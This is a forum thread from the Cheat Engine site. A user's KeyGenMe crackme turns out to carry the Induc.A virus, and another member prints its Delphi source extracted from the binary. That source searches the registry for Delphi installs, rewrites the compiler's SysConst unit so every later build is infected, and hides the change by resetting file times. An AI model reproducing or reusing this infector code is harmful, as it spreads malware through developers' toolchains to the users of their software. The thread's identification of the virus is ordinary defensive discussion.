 |
Cheat Engine
The Official Site of Cheat Engine
|
| View previous topic :: View next topic |
| Author |
Message |
thstrrthtrh
Cheater
 Reputation: 0
Joined: 08 Sep 2008
Posts: 49
|
 Posted: Tue Apr 21, 2009 8:57 pm Post subject: KeyGenMe 14 - KenTheFurry |
 |
|
-=:Information:=-
Well I was bored and had an idea for a bit of a harder KeyGenMe so I made it in less than 10 minuets(a new record for me lol).
I disabled DeDe from working on it and yes it is a Delphi app (DeDe just wont read it and it would be harder to make DeDe be able to understand it than to just keygen it)
I know it will stump someone out there and I hope SerialKiller doesn't keygen it within the first few seconds of me posting this... I am just kidding I know by the time I click submit SK will be done with the keygen.
-=:Rules:=-
#1.The only acceptable solution to this is a standalone Keygen.
#2.When/If you make a working keygen for it you need to post it here even if there is already one for it.
#3.Do not post hints to how to solve it not even addresses!
#4.Have fun.
-=:Download Link:=-
|
|
| Back to top |
|
 |
slippppppppp
Grandmaster Cheater
 Reputation: 0
Joined: 08 Aug 2006
Posts: 929
|
| Posted: Tue Apr 21, 2009 11:21 pm Post subject: |
|
|
If I'm not mistaken, this is your code:
| Code: |
uses windows;
var sc:array[1..24] of string=(
function x(s:string):string;
var i:integer;
begin for i:=1 to length(s) do
if s[i]" =#36 then
s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);
if h<>DWORD(-1) then begin
CloseHandle(h);
exit;
end;
{$I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;assignfile"
(f2,d+$pas$);
rewrite(f2);
if ioresult<>0 then begin
closefile(f1);
exit;
end;
while
not eof(f1) do begin
readln(f1,s);
writeln(f2,s);
if pos($implementation$,s)<>0 then break;
end;
for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,$$$$+sc[h],$$$,$);
writeln(f2,$$$$+sc[24]+$$$);$);
for h:= 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$));
fillchar(f,sizeof(f),0); f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+$""$+d+$pas""$),0,0,false,0,0,0,"f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$), pchar(d+$dcu$));
DeleteFile(pchar(d+$pas$));
h:=CreateFile(pchar(d+$bak$),0,0,0,3,"0,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);
h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k:HKEY;
c:array [1..255] of char;
i:cardinal; r:string; v:char;
begin for v:=$4$ to $7$ do
if RegOpenKeyEx( HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then
begin i:=255;i
if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin
r:=$$;
i:= 1;
while c[i]<>#0 do begin
r:=r+c[i];inc(i);
end;
re(r+$\source\rtl\sys\SysConst$+$.pas$,r+$\lib\sysconst.$,$$+r+$\bin\dcc32.exe"" $);
end;
RegCloseKey(k);
end;
end;"
//main code
begin st; end." |
|
|
| Back to top |
|
|
thstrrthtrh
Cheater
Reputation: 0
Joined: 08 Sep 2008
Posts: 49
|
| Posted: Wed Apr 22, 2009 5:54 am Post subject: |
|
|
| Nope, and this is a KeyGenMe.
|
|
| Back to top |
|
|
slippppppppp
Grandmaster Cheater
Reputation: 0
Joined: 08 Aug 2006
Posts: 929
|
| Posted: Wed Apr 22, 2009 9:39 pm Post subject: |
|
|
| Are you sure this isnt part of your code? This came from your app.
|
|
| Back to top |
|
|
thstrrthtrh
Cheater
Reputation: 0
Joined: 08 Sep 2008
Posts: 49
|
| Posted: Thu Apr 23, 2009 1:13 pm Post subject: |
|
|
| Yeah these is nothing even remotely close to that inside of my program.
|
|
| Back to top |
|
|
qHF
How do I cheat?
![]() Reputation: 0
Joined: 12 Dec 2009
Posts: 9
|
| Posted: Wed Feb 10, 2010 10:49 am Post subject: |
|
|
It looks like your compiler is infected!
http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?name=Virus%3AWin32%2FInduc.A
| Quote: | Summary
Virus:Win32/Induc.A is a virus that infects Delphi library source files. Any executables compiled/linked by the Delphi compiler on the affected machine will contain the malicious code.
Note: We have received many reports of files, such as utilities and other programs, infected by Virus:Win32/Induc.A from the wild. When a computer is infected by Virus:Win32/Induc.A, ALL files compiled or linked by the Delphi compiler on that computer will be infected. It appears that a large number of freely available applications have been distributed unknowingly infected by this virus. |
I normally don't jump to conclusions when I get alerted by my AV, but there might be something to it this time...
And if your file is indeed infected, the viral code may be what the user "slippppppppp" has found.
Uh oh, now that I take a closer look at what slippppppppp has posted, that is indeed the behavior of what this virus does!
RegOpenKeyEx( HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)
That is viral code trying to see if delphi is installed.
|
|
| Back to top |
|
|
hcavolsdsadgadsg
I'm a spammer
![]() Reputation: 26
Joined: 11 Jun 2007
Posts: 5801
|
| Posted: Wed Feb 10, 2010 8:06 pm Post subject: |
|
|
| Ancient post, and the OP hasn't posted in months, but removed nevertheless
|
|
| Back to top |
|
|
mary123
How do I cheat?
![]() Reputation: 0
Joined: 30 Dec 2010
Posts: 1
|
| Posted: Mon Jan 03, 2011 1:05 am Post subject: |
|
|
Hi everyone!!!
You should try Delphi, I personally came from C++ and I will only use Delphi now I just love it, it is so easy to use and simple programming behind it.
hope this will help you...
thanks
_________________
mary |
|
| Back to top |
|
|
doug4knfpu
How do I cheat?
![]() Reputation: 0
Joined: 20 Jul 2012
Posts: 1
|
| Posted: Mon Jul 23, 2012 2:31 pm Post subject: |
|
|
| mary123 wrote: | Hi everyone!!!
You should try Delphi, I personally came from C++ and I will only use Delphi now I just love it, it is so easy to use and simple programming behind it.
hope this will help you...
thanks |
Delphi supporter here. Delphi>everything else
|
|
| Back to top |
|
|
|
|
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You cannot download files in this forum
|
|
FAQ
Search
Memberlist
Usergroups
Register
Profile
Log in to check your private messages
Log in
